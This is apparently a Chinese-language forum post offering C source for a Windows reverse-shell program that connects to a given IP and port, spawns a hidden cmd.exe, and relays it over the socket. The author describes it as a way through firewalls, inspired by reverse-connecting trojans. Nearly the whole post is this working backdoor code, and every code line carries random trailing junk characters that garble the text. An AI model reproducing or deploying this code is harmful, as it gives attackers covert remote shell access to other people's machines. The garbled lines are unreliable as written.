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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VN[h0+n4Th  
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/* ============================== )POuH*j  
Rebound port in Windows NT r[zxb0YA  
By wind,2006/7 1FS Jqad  
===============================*/ \k1psqw^O  
#include J(0.eD91v  
#include D 5]sf>~  
Nw}y_Qf{  
#pragma comment(lib,"wsock32.lib") !aD/I%X  
l K%pxqx  
void OutputShell(); TE4{W4I  
SOCKET sClient; J 21D/#v  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; XQhBnam%  
j(!M  
void main(int argc,char **argv) 2B7X~t>8a  
{ w<*tbq  
WSADATA stWsaData; > _1*/o JO  
int nRet; zxtx~XO  
SOCKADDR_IN stSaiClient,stSaiServer; cjU*  
c<j2wKz  
if(argc != 3) LXaT_3 ;  
{ 31LXzQvFG  
printf("Useage:\n\rRebound DestIP DestPort\n"); yAoJ?<4^W  
return; :luVsQ  
} E8WOXoP(  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 8oG0tX3i  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q28i9$Yqj\  
AHP_B&s,Qe  
stSaiClient.sin_family = AF_INET; lkK+Fm  
stSaiClient.sin_port = htons(0); mu2r#I  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); o Q= Q}  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1e*+k$-{  
{ FW:x XK  
printf("Bind Socket Failed!\n"); T=}(S4n#BX  
return; D;It0"  
} &AmTXW  
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stSaiServer.sin_family = AF_INET; vBUx )l  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RF 4u\ \  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (bi}?V*  
S*6P=O*  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1Tf"<D p  
{ pGz-5afL  
printf("Connect Error!"); sB ]~=vUP  
return; kC"<4U  
} <8p53*a  
OutputShell(); zCT Wi  
} Z9s tB>?  
]lzt "[  
void OutputShell() "jzU`  
{ !CROc}  
char szBuff[1024]; jQzq(oDQw  
SECURITY_ATTRIBUTES stSecurityAttributes; rl9YB %P  
OSVERSIONINFO stOsversionInfo; AoL4#.r3H  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [Z|R-{"  
STARTUPINFO stStartupInfo; '$W@I  
char *szShell; kJqgY|  
PROCESS_INFORMATION stProcessInformation; Qwb=N  
unsigned long lBytesRead; n4+l, ~  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]'=]=o~4  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S1&mY'c  
stSecurityAttributes.lpSecurityDescriptor = 0; dJM)~Ay-  
stSecurityAttributes.bInheritHandle = TRUE; ozF>2`K }  
 2&O!<C j  
bR6.Xdt.n  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Mo|[Muj8b  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); zME75;{  
sPn[FuT>+s  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); EA9`-xs|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,F(nkbt  
stStartupInfo.wShowWindow = SW_HIDE; mL`,v WL/`  
stStartupInfo.hStdInput = hReadPipe; 9S@PY_ms  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [op!:K0  
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GetVersionEx(&stOsversionInfo); `me2Q  
r k;k:<c  
switch(stOsversionInfo.dwPlatformId) ^AK<]r<?L?  
{ WY#A9i5Ge  
case 1: .t''(0_kC  
szShell = "command.com"; `;4P?!WG  
break; 08{0i,Fs  
default: N"/jn_>+j  
szShell = "cmd.exe"; $Zp\^cIE+  
break; bsy\L|wd  
} Lt0JUUa0  
pb1/HhRR^n  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); TaeN?jc5  
"Q6oPDX(  
send(sClient,szMsg,77,0); MZ o\1tU-i  
while(1) | ?3\xw  
{ Mfe/(tlI  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ehu^_HZ  
if(lBytesRead) `q7O\  
{ m8;; O  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6lOT5C eJ"  
send(sClient,szBuff,lBytesRead,0); 1X2MhV  
} !`L%wS  
else 9 o6ig>C  
{ 9F)+p7VJq  
lBytesRead=recv(sClient,szBuff,1024,0); n#Xi Co_\  
if(lBytesRead<=0) break; &{NN!X  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TJ8IYo| D  
} @9g$+_"ZT  
} St9W{  
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return; z&[Rw<{Psb  
}
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